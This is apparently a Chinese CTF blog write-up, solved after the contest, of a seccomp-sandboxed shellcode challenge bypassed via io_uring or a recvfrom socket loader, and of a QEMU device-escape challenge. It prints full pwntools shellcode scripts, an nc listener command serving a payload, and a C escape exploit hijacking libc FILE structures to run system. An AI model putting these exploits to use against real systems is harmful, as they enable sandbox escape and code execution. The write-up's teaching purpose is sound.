本文最后更新于:2023年12月7日 晚上
0x0:写在所有之前 👴有罪
👴这次爆零了
回想几个月前remakeACTF2022,唯一一道remake出来的tree_pwn还是看Nameless👴的博客搓的。
不得不感叹AAA的师傅出题是真有水平,没有奇怪的脑洞,全是干货。
但这和我一道都做不出有什么关系呢,悲
😭😭😭😭😭
没有能力的人是只能赛后remake的,是没有资格享受解题的激动与喜悦的
哎,屑korey这篇remake会写的尽量详细。
真的要得玉玉症了呜呜呜
0x1:Pwn remake🤣 master of asm 你是master🐎,反正👴不是
题目分析 能直接执行输入的shellcode,但是,我要说但是,本题开了一个及其离谱的沙盒:
把open read write
及其替代品是全kill了
👴当时想的是clone、fork、ptrace、lseek
这些都没禁,想用ptrace
来着,后来仔细一想我真tm是个SB啊,无论是fork
还是clone
,创建那个新进程时sandbox已经被调用了。
然后就没有然后了,👴又想找找有没有open read
的漏网之鱼,打个测信道,然后也没有了下文。
👴开摆了,反正👴不是master就不是吧(bushi)
比赛结束后,Nightu👴说这题一眼看出io_uring
PS:👴当时的反应:这又是哪个🐔8玩意,怎么人与人的差别比人与狗的都大,妈妈生的
然后👴就去找资料了解io_uring
了
What ‘s io_uring io_uring
是linux
从内核版本5.1开始引入的高性能异步I/O框架
具体的可以看这个
这边主要说一下和题目相关的
因为👴一直用CSDN上的祖传调用表,对于这三个调用号在400多的 👴是真的没印象
1 2 3 4 三个系统调用 io_uring_setup io_uring_register io_uring_enter
其中io_uring_setup
+ io_uring_enter
就可以完成绝大部分I/O操作。
io_uring_setup 先用io_uring_setup
设置异步I/O操作的上下文
1 int io_uring_setup (u32 entries, struct io_uring_params *p) ;
创建一个 SQ(submission queu
e, 提交队列) 和一个 CQ(completed queue
,完成队列)
queue size
至少 entries
个元素,
返回一个文件描述符,随后用于在这个 io_uring
实例上执行操作。
SQ 和 CQ 在应用和内核之间共享,避免了在初始化和完成 I/O 时(initiating and completing I/O)
拷贝数据。
参数 p:
应用用来配置 io_uring
,
内核返回的 SQ/CQ 配置信息也通过它带回来。
io_uring_setup()
成功时返回一个文件描述符(fd)
。
应用随后可以将这个 fd 传给 mmap(2)
系统调用,来 map the submission and completion queues
或者传给 to the io_uring_register() or io_uring_enter() system calls
.
io_uring_enter 1 int io_uring_enter (unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig) ;
这个系统调用用于初始化和完成(initiate and complete)
I/O,使用共享的 SQ 和 CQ。 单次调用同时执行:
提交新的 I/O 请求
等待 I/O 完成
参数:
fd
是 io_uring_setup()
返回的文件描述符;
to_submit
指定了 SQ 中提交的 I/O 数量;
io_uring_enter()
支持很多操作,包括:
Open, close, and stat files
Read and write into multiple buffers or pre-mapped buffers
Socket I/O operations
Synchronize file state
Asynchronously monitor a set of file descriptors
Create a timeout linked to a specific operation in the ring
Attempt to cancel an operation that is currently in flight
Create I/O chains
Ordered execution within a chain
Parallel execution of multiple chains
具体的demo可以让chatgpt帮忙写一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <liburing.h> #include <string.h> #include <liburing/io_uring.h> #define BUFSIZE 256 int main () { struct io_uring ring ; struct io_uring_params params ; int fd; char buffer[BUFSIZE]; memset (¶ms, 0 , sizeof (params)); if (io_uring_queue_init_params(1 , &ring, ¶ms) < 0 ) { perror("io_uring_queue_init_params" ); return 1 ; } struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); io_uring_prep_openat(sqe, AT_FDCWD, "flag.txt" , O_RDONLY, 0 ); io_uring_sqe_set_flags(sqe, IOSQE_ASYNC); io_uring_submit(&ring); sqe = io_uring_get_sqe(&ring); io_uring_prep_read(sqe, 4 , buffer, BUFSIZE, 0 ); io_uring_sqe_set_flags(sqe, IOSQE_ASYNC); io_uring_submit(&ring); sqe = io_uring_get_sqe(&ring); io_uring_prep_write(sqe, STDOUT_FILENO, buffer, BUFSIZE, 0 ); io_uring_sqe_set_flags(sqe, IOSQE_ASYNC); io_uring_submit(&ring); struct io_uring_cqe *cqe ; if (io_uring_wait_cqe(&ring, &cqe) < 0 ) { perror("io_uring_wait_cqe" ); return 1 ; } io_uring_submit(&ring); io_uring_cq_advance(&ring, 2 ); io_uring_queue_exit(&ring); close(fd); return 0 ; }
然后可以进GDB看看发生了什么
可以看到io_uring_queue_init_params
实际是io_uring_setup
和两个mmap
的封装
io_uring_setup
执行后返回fd = 3
两个mmap
有所不同,这个等会再讲
设第一个mmap出来的内存地址为mmap_address1
,第二个mmap出来的内存地址为mmap_address2
io_uring_prep_openat
和io_uring_sqe_set_flags
实则在对mmap_address2
处的sqe结构体进行设置
后面的io_uring_prep_read/write
也是如此
翻看源码,sqe结构体具体是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 struct io_uring_sqe { __u8 opcode; __u8 flags; __u16 ioprio; __s32 fd; union { __u64 off; __u64 addr2; struct { __u32 cmd_op; __u32 __pad1; }; }; union { __u64 addr; __u64 splice_off_in; }; __u32 len; union { __kernel_rwf_t rw_flags; __u32 fsync_flags; __u16 poll_events; __u32 poll32_events; __u32 sync_range_flags; __u32 msg_flags; __u32 timeout_flags; __u32 accept_flags; __u32 cancel_flags; __u32 open_flags; __u32 statx_flags; __u32 fadvise_advice; __u32 splice_flags; __u32 rename_flags; __u32 unlink_flags; __u32 hardlink_flags; __u32 xattr_flags; __u32 msg_ring_flags; __u32 uring_cmd_flags; }; __u64 user_data; union { __u16 buf_index; __u16 buf_group; } __attribute__((packed)); __u16 personality; union { __s32 splice_fd_in; __u32 file_index; struct { __u16 addr_len; __u16 __pad3[1 ]; }; }; union { struct { __u64 addr3; __u64 __pad2[1 ]; }; __u8 cmd[0 ]; }; };
在程序中leak这个结构体康康
发现是吻合的
至于io_uring_submit
,则是io_uring_enter
的封装
OK,Poc分析完毕
试图手搓shellcode 笔者觉得总的流程就是syscall_io_uring_setup
初始化上下文,两个syscall_mmap
,设置好sqe结构体后syscall_io_uring_enter
提交submisson
。
But,笔者怎么搓都打不通呜呜呜/(ㄒoㄒ)/~~
这边放上笔者的失败品,如果有master搓通了能不能教教弟弟呜呜。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *import sysimport ctypes context.log_level='debug' context.arch='amd64' flag = 0 if flag: p = remote('43.132.193.22' , 9998 )else : r = process('./master-of-orw' ) p = process("./master-of-orw" ) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr)) code1 = ''' mov rsi, rdx add rsi, 0x500 mov rdi, 0x10 push 425 pop rax syscall ''' code2 = ''' mov byte ptr [rax], 0x12 mov dword ptr [rax+4], 0xffffff9c mov r15, 0x67616c662f2e push r15 mov qword ptr [rax+0x10], rsp mov byte ptr [rax+0x40], 0x16 mov dword ptr [rax+0x44], 4 push rsp pop r15 sub r15, 0x100 mov qword ptr [rax+0x50], r15 mov byte ptr [rax+0x58], 0x30 mov byte ptr [rax+0x80], 0x17 mov dword ptr [rax+0x84], 1 push rsp pop r15 sub r15, 0x100 mov qword ptr [rax+0x90], r15 mov byte ptr [rax+0x98], 0x30 mov rcx, 3 ''' shellcode = asm(code1, arch='amd64' ) + \ asm(shellcraft.mmap(0 ,0x380 ,3 ,0x8001 ,0x3 ,0 )) + \ asm(shellcraft.mmap(0 ,0x380 ,3 ,0x8001 ,0x3 ,0x10000000 )) + \ asm(code2, arch='amd64' ) + \ asm(shellcraft.io_uring_enter(3 ,3 ,3 ,3 ,3 )) gdb.attach(p) sl(shellcode) p.interactive()
能初始化但是任务提交不上去呜呜
recvfrom!! 看了好几个师傅的wp发现都是用recvfrom
做的,因为socket、connect、recvfrom
都活着
先用gpt写一个poc,关掉pie,静态编译,建议加上-O3优化
用mmap
把0x400000那边权限改了,建立socket连接后,把静态链接的程序读入0x400000处
最后jmp到传入进去的main
函数
真tm妙啊,妈妈生的
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <liburing.h> #include <string.h> #include <liburing/io_uring.h> #define BUFSIZE 256 int main () { struct io_uring ring ; struct io_uring_params params ; int fd; char buffer[BUFSIZE]; memset (¶ms, 0 , sizeof (params)); if (io_uring_queue_init_params(1 , &ring, ¶ms) < 0 ) { perror("io_uring_queue_init_params" ); return 1 ; } struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); io_uring_prep_openat(sqe, AT_FDCWD, "flag.txt" , O_RDONLY, 0 ); io_uring_sqe_set_flags(sqe, IOSQE_ASYNC); io_uring_submit(&ring); sqe = io_uring_get_sqe(&ring); io_uring_prep_read(sqe, 5 , buffer, BUFSIZE, 0 ); io_uring_sqe_set_flags(sqe, IOSQE_ASYNC); io_uring_submit(&ring); sqe = io_uring_get_sqe(&ring); io_uring_prep_write(sqe, STDOUT_FILENO, buffer, BUFSIZE, 0 ); io_uring_sqe_set_flags(sqe, IOSQE_ASYNC); io_uring_submit(&ring); struct io_uring_cqe *cqe ; if (io_uring_wait_cqe(&ring, &cqe) < 0 ) { perror("io_uring_wait_cqe" ); return 1 ; } io_uring_submit(&ring); io_uring_cq_advance(&ring, 2 ); io_uring_queue_exit(&ring); close(fd); return 0 ; }
Socket_struct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> void print_binary (char * buf, int length) { printf ("---------------------------------------------------------------------------\n" ); printf ("Address info starting in %p:\n" , buf); int index = 0 ; char output_buffer[80 ]; memset (output_buffer, '\0' , 80 ); memset (output_buffer, ' ' , 0x10 ); for (int i=0 ; i<(length % 16 == 0 ? length / 16 : length / 16 + 1 ); i++){ char temp_buffer[0x10 ]; memset (temp_buffer, '\0' , 0x10 ); sprintf (temp_buffer, "%#5x" , index); strcpy (output_buffer, temp_buffer); output_buffer[5 ] = ' ' ; output_buffer[6 ] = '|' ; output_buffer[7 ] = ' ' ; for (int j=0 ; j<16 ; j++){ if (index+j >= length) sprintf (output_buffer+8 +3 *j, " " ); else { sprintf (output_buffer+8 +3 *j, "%02x " , ((int )buf[index+j]) & 0xFF ); if (!isprint (buf[index+j])) output_buffer[58 +j] = '.' ; else output_buffer[58 +j] = buf[index+j]; } } output_buffer[55 ] = ' ' ; output_buffer[56 ] = '|' ; output_buffer[57 ] = ' ' ; printf ("%s\n" , output_buffer); memset (output_buffer+58 , '\0' , 16 ); index += 16 ; } printf ("---------------------------------------------------------------------------\n" ); }int main () { struct sockaddr_in *serv_addr = malloc (sizeof (struct sockaddr_in)); memset (serv_addr, 0 , sizeof (struct sockaddr_in)); serv_addr->sin_family = AF_INET; serv_addr->sin_addr.s_addr = inet_addr("127.0.0.1" ); serv_addr->sin_port = htons(8888 ); print_binary(serv_addr,16 ); return 0 ; }
在终端开
1 cat io_uring | nc -l 8888
再执行exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *import sysimport ctypes context.log_level='debug' context.arch='amd64' flag = 0 if flag: p = remote('43.132.193.22' , 9998 )else : r = process('./master-of-orw' ) p = process("./master-of-orw" ) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr)) socket_struct = 0x020022b87f000001 asm_socket = ''' mov rax, 41 mov rdi, 2 mov rsi, 1 xor rdx, rdx syscall ''' push_socket_struct = ''' mov r15, 0x0100007fb8220002 push r15 ''' asm_connect = ''' mov rsi, rsp mov rdi, 3 mov rdx, 0x10 mov rax, 42 syscall ''' cyc_recv = ''' mov rsi, 0x400000 mov r14, 0xcfcc8 again: mov edi, 3 mov rdx, 0x1000 mov r10d, 0 xor r8d, r8d xor r9d, r9d mov eax, 45 ;// recvfrom syscall add rsi, rax sub r14, rax cmp r14,0 jge again push 0x401620 ret ''' shellcode = asm(shellcraft.mmap(0x400000 ,0x100000 ,7 ,33 ,0 ,0 )) + \ asm(asm_socket) + asm(push_socket_struct) + asm(asm_connect) + \ asm(cyc_recv) sl(shellcode) p.interactive()
题目之外–about io_uring 源码康这里
io_uring_op还挺丰富
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 enum io_uring_op { IORING_OP_NOP, IORING_OP_READV, IORING_OP_WRITEV, IORING_OP_FSYNC, IORING_OP_READ_FIXED, IORING_OP_WRITE_FIXED, IORING_OP_POLL_ADD, IORING_OP_POLL_REMOVE, IORING_OP_SYNC_FILE_RANGE, IORING_OP_SENDMSG, IORING_OP_RECVMSG, IORING_OP_TIMEOUT, IORING_OP_TIMEOUT_REMOVE, IORING_OP_ACCEPT, IORING_OP_ASYNC_CANCEL, IORING_OP_LINK_TIMEOUT, IORING_OP_CONNECT, IORING_OP_FALLOCATE, IORING_OP_OPENAT, IORING_OP_CLOSE, IORING_OP_FILES_UPDATE, IORING_OP_STATX, IORING_OP_READ, IORING_OP_WRITE, IORING_OP_FADVISE, IORING_OP_MADVISE, IORING_OP_SEND, IORING_OP_RECV, IORING_OP_OPENAT2, IORING_OP_EPOLL_CTL, IORING_OP_SPLICE, IORING_OP_PROVIDE_BUFFERS, IORING_OP_REMOVE_BUFFERS, IORING_OP_TEE, IORING_OP_SHUTDOWN, IORING_OP_RENAMEAT, IORING_OP_UNLINKAT, IORING_OP_MKDIRAT, IORING_OP_SYMLINKAT, IORING_OP_LINKAT, IORING_OP_MSG_RING, IORING_OP_FSETXATTR, IORING_OP_SETXATTR, IORING_OP_FGETXATTR, IORING_OP_GETXATTR, IORING_OP_SOCKET, IORING_OP_URING_CMD, IORING_OP_SEND_ZC, IORING_OP_SENDMSG_ZC, IORING_OP_LAST, };
找到了偏移量的设置:
1 2 3 4 5 6 7 8 9 10 #define IORING_OFF_SQ_RING 0ULL #define IORING_OFF_CQ_RING 0x8000000ULL #define IORING_OFF_SQES 0x10000000ULL #define IORING_OFF_PBUF_RING 0x80000000ULL #define IORING_OFF_PBUF_SHIFT 16 #define IORING_OFF_MMAP_MASK 0xf8000000ULL IORING_OFF_SQ_RING:这是用于访问 Submission Queue Ring(SQ Ring)的偏移量。SQ Ring 用于存储I/O请求的提交队列 IORING_OFF_SQES:这是用于访问 Submission Queue Entry(SQE)的偏移量。SQE 是I/O请求的数据结构,用于描述I/O操作的各个参数。
也就解释了为什么对应第一个mmap的offset=0,第二个mmap的offset=0x10000000
qemu-playground Reverse 👴先声明,这是👴人生中第一个逆向题,👴连那个核心算法都没看明白。👴输入了原始数据试一下,再把得到的数据输进去,然后,就没有然后了,👴就拿到了flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #define PMIO_BASE 0XC040 int fd;unsigned char * mmio_mem;void print_binary (char * buf, int length) { printf ("---------------------------------------------------------------------------\n" ); printf ("Address info starting in %p:\n" , buf); int index = 0 ; char output_buffer[80 ]; memset (output_buffer, '\0' , 80 ); memset (output_buffer, ' ' , 0x10 ); for (int i=0 ; i<(length % 16 == 0 ? length / 16 : length / 16 + 1 ); i++){ char temp_buffer[0x10 ]; memset (temp_buffer, '\0' , 0x10 ); sprintf (temp_buffer, "%#5x" , index); strcpy (output_buffer, temp_buffer); output_buffer[5 ] = ' ' ; output_buffer[6 ] = '|' ; output_buffer[7 ] = ' ' ; for (int j=0 ; j<16 ; j++){ if (index+j >= length) sprintf (output_buffer+8 +3 *j, " " ); else { sprintf (output_buffer+8 +3 *j, "%02x " , ((int )buf[index+j]) & 0xFF ); if (!isprint (buf[index+j])) output_buffer[58 +j] = '.' ; else output_buffer[58 +j] = buf[index+j]; } } output_buffer[55 ] = ' ' ; output_buffer[56 ] = '|' ; output_buffer[57 ] = ' ' ; printf ("%s\n" , output_buffer); memset (output_buffer+58 , '\0' , 16 ); index += 16 ; } printf ("---------------------------------------------------------------------------\n" ); }uint32_t mmio_read (uint64_t addr) { return *((uint64_t *)(mmio_mem + addr)); }void mmio_write (uint64_t addr, uint32_t value) { *((uint32_t *)(mmio_mem + addr)) = value; }uint32_t pmio_read (uint64_t value) { return inl(PMIO_BASE + value); }void pmio_write (uint64_t addr, uint32_t value) { outb(value,PMIO_BASE+addr); }void set_value (uint32_t addr, uint64_t value) { mmio_write(addr,value&0xffffffff ); mmio_write(addr+4 ,value>>32 ); }int main () { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0" ,O_SYNC|O_RDWR); if (mmio_fd < 0 ) { perror("open mmio device failed!" ); exit (-1 ); } mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,0 ); if (mmio_mem == MAP_FAILED) { perror("get mmio_mem failed!" ); exit (-1 ); } printf ("addr of mmio:%p\n" ,mmio_mem); if (iopl(3 )!=0 ) { perror("open pmio device failed!" ); exit (-1 ); } set_value(0x0 ,0x7a1299023d29ff68 ); set_value(0x8 ,0x702edf5e423bb634 ); set_value(0x10 ,0x2653e2366369b36c ); set_value(0x18 ,0xd9a33790b594ae73 ); set_value(0x20 ,0xc9b59388b0adbfbe ); set_value(0x28 ,0x8bb287b5efbeaf84 ); set_value(0x30 ,0x95b4a2838496a4f8 ); set_value(0x38 ,0xc6ca9ad88681c5b4 ); pmio_write(1 ,0 ); return 0 ; }
后来👴看了arr的wp,知道了这边才是核心(👴是不会说👴刚开始把后面的赋值当成核心在看的(bushi))
👴动调了一会发现大概应该或许可能是一个有点麻烦的异或,反正👴出flag了不管了
Pwn 👴一直搞不明白那个0xa31的地方是怎么变成1的
看了xtx师傅的wp发现pmio_write两次就行了,啊?
逆不明白,尊嘟逆不明白
后面就是mmio_write可以覆写0xa78低4位,造成任意地址读写
然后libc泄露因为只有低4位可改,找了半天也找不到,看了Esifiel师傅的官方wp才知道原来pandbg还有这个
1 2 pwndbg> leakfind 0x7fff60000000 --max_offset=0x1000 --page_name=libc 0x7fff60000000 +0x8a0 —▸ 0x7ffff0000030 +0x870 —▸ 0x7ffff6819c80 /usr/lib/x86_64-linux-gnu/libc.so.6
啊?啊?啊?
🤡
后面就是打_IO_FILE,在关机的时候把flag带出来,我这里用的是最顺手的house of apple链子
然后因为只有低四字节能覆盖,泄露libc大概有1/2的概率offset超出四字节限制,回直接dump掉,调式的时候真给👴干🤮🌶️。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #define PMIO_BASE 0XC040 int fd;unsigned char * mmio_mem;uint8_t payload[0x100 ];void print_binary (char * buf, int length) { printf ("---------------------------------------------------------------------------\n" ); printf ("Address info starting in %p:\n" , buf); int index = 0 ; char output_buffer[80 ]; memset (output_buffer, '\0' , 80 ); memset (output_buffer, ' ' , 0x10 ); for (int i=0 ; i<(length % 16 == 0 ? length / 16 : length / 16 + 1 ); i++){ char temp_buffer[0x10 ]; memset (temp_buffer, '\0' , 0x10 ); sprintf (temp_buffer, "%#5x" , index); strcpy (output_buffer, temp_buffer); output_buffer[5 ] = ' ' ; output_buffer[6 ] = '|' ; output_buffer[7 ] = ' ' ; for (int j=0 ; j<16 ; j++){ if (index+j >= length) sprintf (output_buffer+8 +3 *j, " " ); else { sprintf (output_buffer+8 +3 *j, "%02x " , ((int )buf[index+j]) & 0xFF ); if (!isprint (buf[index+j])) output_buffer[58 +j] = '.' ; else output_buffer[58 +j] = buf[index+j]; } } output_buffer[55 ] = ' ' ; output_buffer[56 ] = '|' ; output_buffer[57 ] = ' ' ; printf ("%s\n" , output_buffer); memset (output_buffer+58 , '\0' , 16 ); index += 16 ; } printf ("---------------------------------------------------------------------------\n" ); }uint32_t mmio_read (uint64_t addr) { return *((uint32_t *)(mmio_mem + addr)); }void mmio_write (uint64_t addr, uint32_t value) { *((uint32_t *)(mmio_mem + addr)) = value; }uint32_t pmio_read (uint64_t value) { return inl(PMIO_BASE + value); }void pmio_write (uint64_t addr, uint32_t value) { outb(value,PMIO_BASE+addr); }void set_value (uint32_t addr, uint64_t value) { mmio_write(addr,value&0xffffffff ); mmio_write(addr+4 ,value>>32 ); }void send_payload (uint32_t start_addr, int size) { for (int i = 0 ; i < size / 8 ; ++i){ mmio_write(0x40 , start_addr); for (int j = 0 ; j < 8 ; ++j){ pmio_write(j + 0x10 , payload[i * 8 + j]); } start_addr += 8 ; } }int main () { uint32_t leak[0x10 ] = {0 }; int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0" ,O_SYNC|O_RDWR); if (mmio_fd < 0 ) { perror("open mmio device failed!" ); exit (-1 ); } mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,0 ); if (mmio_mem == MAP_FAILED) { perror("get mmio_mem failed!" ); exit (-1 ); } printf ("addr of mmio:%p\n" ,mmio_mem); if (iopl(3 )!=0 ) { perror("open pmio device failed!" ); exit (-1 ); } set_value(0x0 ,0x7a1299023d29ff68 ); set_value(0x8 ,0x702edf5e423bb634 ); set_value(0x10 ,0x2653e2366369b36c ); set_value(0x18 ,0xd9a33790b594ae73 ); set_value(0x20 ,0xc9b59388b0adbfbe ); set_value(0x28 ,0x8bb287b5efbeaf84 ); set_value(0x30 ,0x95b4a2838496a4f8 ); set_value(0x38 ,0xc6ca9ad88681c5b4 ); pmio_write(1 ,0 ); sleep(1 ); pmio_write(0 ,0 ); sleep(1 ); pmio_write(1 ,0 ); pmio_write(0x10 ,0 ); sleep(1 ); leak[0 ] = mmio_read(0x40 ); uint32_t addr1 = 0 ; addr1 = (leak[0 ] >> 24 ) << 24 ; mmio_write(0x40 ,addr1 + 0x8a0 ); leak[0 ] = pmio_read(0 +0x10 ); leak[1 ] = pmio_read(4 +0x10 ); uint64_t addr2 = 0 ; addr2 = leak[1 ] * 0x100000000 + leak[0 ]; sleep(1 ); mmio_write(0x40 ,leak[0 ]+0x8a0 -0x30 ); leak[0 ] = pmio_read(0 +0x10 ); leak[1 ] = pmio_read(0 +0x14 ); size_t libc_address = 0 ; libc_address = (leak[1 ]*0x100000000 ) + leak[0 ] - 0x219c80 ; printf ("libc_address is %lx" ,libc_address); size_t system_addr = 0x50d70 + libc_address; size_t stderr_addr = 0x21a6a0 + libc_address; size_t _IO_list_all = 0x21a680 + libc_address; size_t _IO_wfile_jumps = 0x2160c0 + libc_address; memcpy (payload, " cat flag >&2;" , 0x10 ); ((uint64_t *)payload)[5 ] = 1 ; ((uint64_t *)payload)[20 ] = addr2; ((uint64_t *)payload)[27 ] = _IO_wfile_jumps; send_payload(stderr_addr, 0xe0 ); ((uint64_t *)payload)[0 ] = 0 ; ((uint64_t *)payload)[1 ] = 0 ; ((uint64_t *)payload)[5 ] = 0 ; ((uint64_t *)payload)[20 ] = 0 ; ((uint64_t *)payload)[27 ] = 0 ; ((uint64_t *)payload)[0 ] = stderr_addr; send_payload(stderr_addr - 0x20 , 0x8 ); ((uint64_t *)payload)[0 ] = addr2+0xe0 ; send_payload(addr2+0xe0 , 0x8 ); ((uint64_t *)payload)[0 ] = system_addr; send_payload(addr2+0xe0 +0x68 ,8 ); system("poweroff -f" ); return 0 ; }
终于出来啦,感觉比🐍出来还要舒服啊
其实感觉挺基础的一道qemu escape,但为什么要加个逆向来恶心我呢。
这是怎么绘事呢?